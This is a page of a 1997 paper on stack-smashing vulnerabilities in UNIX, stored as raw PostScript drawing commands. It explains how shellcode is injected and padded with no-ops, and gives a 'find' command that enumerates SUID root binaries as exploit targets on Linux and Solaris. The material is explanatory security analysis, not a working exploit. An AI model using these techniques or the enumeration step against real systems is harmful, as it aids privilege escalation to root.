0.0000 0.0000 1.0000 SET_CMYK GS n 6928 4835 M (included ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4559 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1385 4559 M (UNIX ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1846 4559 M (distributions ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2722 4559 M (are ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2971 4559 M (not ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3228 4559 M (precompiled ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4105 4559 M (with ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4445 4559 M (``shell ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4916 4559 M (c) ST -10 0 MR (o) ST -10 0 MR (d) ST -10 0 MR (e) ST -11 0 MR (') ST -11 0 MR (' ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5335 4559 M (as ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5519 4559 M (part ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5823 4559 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6007 4559 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6255 4559 M (binary. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6809 4559 M (To ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7039 4559 M (exploit ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4283 M (these ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1620 4283 M (type ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1975 4283 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2183 4283 M (programs, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2924 4283 M (some ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3345 4283 M (means ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3840 4283 M (must ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4233 4283 M (be ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4459 4283 M (used ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4833 4283 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5031 4283 M (insert ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5470 4283 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p100000 SETFONT GS n 5742 4283 M (shellcode) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 6489 4283 M ( ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6558 4283 M (array ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6970 4283 M (into ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7297 4283 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4007 M (runtime environment. Stack smashers have devised creative ways to accomplish th\ is.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 3731 M (In ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1938 3731 M (order ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2381 3731 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2601 3731 M (inject ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3061 3731 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3355 3731 M (shell ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3760 3731 M (code ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4165 3731 M (into ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4514 3731 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4808 3731 M (runtime ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5417 3731 M (process, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6050 3731 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6483 3731 M (smashers ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7186 3731 M (have ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3455 M (manipulated ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2113 3455 M (command ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2853 3455 M (line ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3185 3455 M (arguments, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4004 3455 M (shell ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4401 3455 M (environment ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5325 3455 M (variables, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6051 3455 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6374 3455 M (interactive ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7159 3455 M (input ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3179 M (functions ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1877 3179 M (with ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2224 3179 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2479 3179 M (necessary ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3179 3179 M (shell ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3545 3179 M (code ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3911 3179 M (sequence. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4657 3179 M (Not ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4958 3179 M (only ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5305 3179 M (do ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5523 3179 M (most ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5899 3179 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6293 3179 M (smashing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6974 3179 M (exploits ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2903 M (rely ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1511 2903 M (upon ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1888 2903 M (shell ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2247 2903 M (code ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2606 2903 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2780 2903 M (accomplish ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3583 2903 M (their ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3933 2903 M (task, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4288 2903 M (but ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4545 2903 M (these ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4932 2903 M (type ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5263 2903 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5447 2903 M (exploits ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6018 2903 M (depend ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6543 2903 M (on ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6754 2903 M (knowing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7380 2903 M (at ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2627 M (what ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1602 2627 M (address ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2171 2627 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2369 2627 M (memory ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2994 2627 M (this ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3303 2627 M (shell ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3686 2627 M (code ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4069 2627 M (will ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4396 2627 M (reside. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4947 2627 M (Taking ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5487 2627 M (this ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5796 2627 M (into ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6123 2627 M (consideration, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7130 2627 M (many ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2351 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1606 2351 M (smashers ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2270 2351 M (have ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2636 2351 M (padded ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3168 2351 M (their ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3525 2351 M (shell ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3891 2351 M (code ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4257 2351 M (with ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4604 2351 M (NULL ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5100 2351 M (\(or ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5347 2351 M (no-op\) ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5843 2351 M (assembly ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6515 2351 M (operations ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7260 2351 M (this ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2075 M (gives ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1609 2075 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1868 2075 M (shell ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2238 2075 M (code ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2608 2075 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2738 2075 M (`wider ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3229 2075 M (s) ST -5 0 MR (p) ST -5 0 MR (a) ST -5 0 MR (c) ST -5 0 MR (e) ST -6 0 MR (' ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3685 2075 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3870 2075 M (memory ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4482 2075 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4778 2075 M (makes ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5260 2075 M (it ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5408 2075 M (easier ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5853 2075 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6038 2075 M (guess ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6464 2075 M (where ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6927 2075 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7186 2075 M (shell ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 1799 M (code ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1601 1799 M (may ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1973 1799 M (be ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2215 1799 M (when ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2660 1799 M (manipulating ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3622 1799 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3910 1799 M (return ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4393 1799 M (address. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5062 1799 M (This ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5485 1799 M (approach, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6222 1799 M (combined ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6963 1799 M (with ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7343 1799 M (an ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 1523 M (approach ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1899 1523 M (whereby ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2555 1523 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2841 1523 M (shell ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3238 1523 M (code ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3635 1523 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3829 1523 M (followed ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4503 1523 M (by ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4752 1523 M (many ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5205 1523 M (instances ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5898 1523 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6120 1523 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6406 1523 M (`) ST -3 0 MR (g) ST -3 0 MR (u) ST -3 0 MR (e) ST -3 0 MR (s) ST -3 0 MR (s) ST -3 0 MR (e) ST -4 0 MR (d) ST -4 0 MR (' ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7102 1523 M (return ) ST GR %%PageTrailer AXPageSave restore showpage %%Page: 20 20 %%BeginPageSetup save /AXPageSave exch def DOSETUP %%EndPageSetup 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 1200 1426 M (11) 138 X GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1338 1385 M ( Complete listing is available in Appendix B) 2477 X GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 1271 M (12) 138 X GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1338 1230 M ( This specific machine has 67, however an `out of the box' distribution may have\ slightly more or less) 5675 X GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 1644 M (_________________________) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont1p100000 SETFONT GS n 1200 10624 M (Stack Smashing Vulnerabilities in the UNIX Operating System) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6811 10624 M (Page 9) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 3998 284 M (May 7, 1997) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1200 9848 M (address ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1762 9848 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1947 9848 M (memory; ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2605 9848 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2772 9848 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2902 9848 M (common ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3541 9848 M (strategy ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4124 9848 M (used ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4485 9848 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4670 9848 M (constructing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5548 9848 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5946 9848 M (smashing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6631 9848 M (exploits. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7297 9848 M (An ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9572 M (additional ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1917 9572 M (approach, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2620 9572 M (when ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3031 9572 M (small ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3443 9572 M (programs ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4124 9572 M (with ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4470 9572 M (memory ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5077 9572 M (restrictions ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5868 9572 M (are ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6123 9572 M (exploited, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6834 9572 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6996 9572 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7176 9572 M (store ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9296 M (the shellcode in an environment variable. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p140000 SETFONT GS n 1200 8752 M (10. SUID root programs by distribution) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1700 8469 M (In ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1892 8469 M (order ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2291 8469 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2467 8469 M (search ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2940 8469 M (standard ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3551 8469 M (UNIX ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4014 8469 M (distributions ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4892 8469 M (for ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5134 8469 M (SUID ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5570 8469 M (root ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5885 8469 M (programs, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6604 8469 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6854 8469 M (following ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8193 M (command can be executed by the privileged user:) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p100000 SETFONT GS n 2399 7959 M (/usr/bin/find / -user root -perm -004000 -print) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1200 7702 M (This ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1561 7702 M (command ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2278 7702 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2449 7702 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2583 7702 M (system-wide ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3485 7702 M (search ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3971 7702 M (command ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4688 7702 M (for ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4943 7702 M (SUID ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5392 7702 M (root ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5720 7702 M (files; ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6113 7702 M (which, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6621 7702 M (as ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6820 7702 M (described, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7426 M (are ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1464 7426 M (crucial ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1965 7426 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2142 7426 M (constructing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3012 7426 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3402 7426 M (smashing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4079 7426 M (exploits. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4737 7426 M (Using ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5182 7426 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5433 7426 M (above ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5878 7426 M (command ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6583 7426 M (as ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6770 7426 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6892 7426 M (test ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7171 7426 M (case, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7150 M (working ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1843 7150 M (installations ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2729 7150 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2951 7150 M (two ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3283 7150 M (popular ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3874 7150 M (UNIX ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4415 7150 M (were ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4822 7150 M (tested ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5293 7150 M (with ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5671 7150 M (this ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5994 7150 M (command: ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6780 7150 M (Linux ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7260 7150 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6874 M (Solaris) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 1663 6915 M (11) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1801 6874 M (.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 6598 M (On ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1968 6598 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2101 6598 M (Linux ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2557 6598 M (machine ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3180 6598 M (running ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3756 6598 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4018 6598 M (2.0.30 ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4493 6598 M (kernel, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5010 6598 M (built ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5373 6598 M (from ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5757 6598 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5890 6598 M (modified ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6550 6598 M (version ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7099 6598 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7297 6598 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont2p120000 SETFONT GS n 1200 6322 M (Slackware) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1893 6322 M ( ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1970 6322 M (distribution, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2849 6322 M (56 ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3086 6322 M (SUID ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3546 6322 M (root ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3885 6322 M (world-executable ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5111 6322 M (binaries ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5709 6322 M (existed ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6251 6322 M (on ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6488 6322 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6762 6322 M (system. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7380 6322 M (A ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6046 M (subtle ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1648 6046 M (byte ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1984 6046 M (copying ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2569 6046 M (error ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2944 6046 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3123 6046 M (any ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3413 6046 M (one ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3703 6046 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3892 6046 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4145 6046 M (above ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4592 6046 M (programs ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5272 6046 M (could ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5691 6046 M (allow ) ST GR 0.0000 0.0000 0.0000 